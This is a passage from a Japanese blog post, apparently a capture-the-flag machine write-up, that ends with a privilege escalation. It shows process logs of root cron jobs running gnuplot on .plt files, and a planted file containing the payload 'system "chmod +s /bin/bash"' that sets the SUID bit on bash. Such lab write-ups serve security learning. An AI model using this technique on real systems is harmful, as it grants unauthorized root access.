2023/06/15 10:25:02 CMD: UID=0     PID=18805  | /bin/sh /opt/gnuplot/getdata.sh 
2023/06/15 10:25:02 CMD: UID=0     PID=18804  | /bin/sh /opt/gnuplot/getdata.sh 
2023/06/15 10:25:02 CMD: UID=0     PID=18808  | /usr/sbin/CRON -f 
2023/06/15 10:25:02 CMD: UID=0     PID=18810  | gnuplot /opt/gnuplot/loadplot.plt 
2023/06/15 10:25:02 CMD: UID=0     PID=18809  | find /opt/gnuplot -name *.plt -exec gnuplot {} ; 
2023/06/15 10:25:02 CMD: UID=0     PID=18811  | /bin/sh /opt/gnuplot/getdata.sh 
2023/06/15 10:25:02 CMD: UID=0     PID=18812  | tail -60 /opt/gnuplot/loaddata.dat 
2023/06/15 10:25:02 CMD: UID=0     PID=18814  | find /opt/gnuplot -name *.plt -exec gnuplot {} ; 
2023/06/15 10:25:03 CMD: UID=0     PID=18815  | /lib/systemd/systemd-udevd 

/opt/gnuplot階層で色々と動いてる。
実際に見に行ってみる。
18.png
あー、Write権限だけあるのか。ならここにExploitファイルを作成してプロセスが回るのを待つ方向で行こう!

gnuplot

getdata.sh を編集してもうまくいかなかったので以下のコマンドに注目する。

find /opt/gnuplot -name *.plt -exec gnuplot {} ; 

.pltファイルを見つけて、gnupltコマンドで実行している。
gnupltでのコマンド実行については以下のサイトを参考にした。

Exploitファイルを以下のように/opt/gnuplotに作成する。

lol.plt
system "chmod +s /bin/bash"

これでこの.pltファイルが実行されるのを待てばよい。
19.png
上手くいきました!!!
これで特権昇格完了!!!

まとめ

20.png
今回のBoxは初手の侵入ベクトルがすごく難しかった。というよりラビットホールに吸い込まれていった。
発想の逆転が大事だなと感じたBoxでした。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?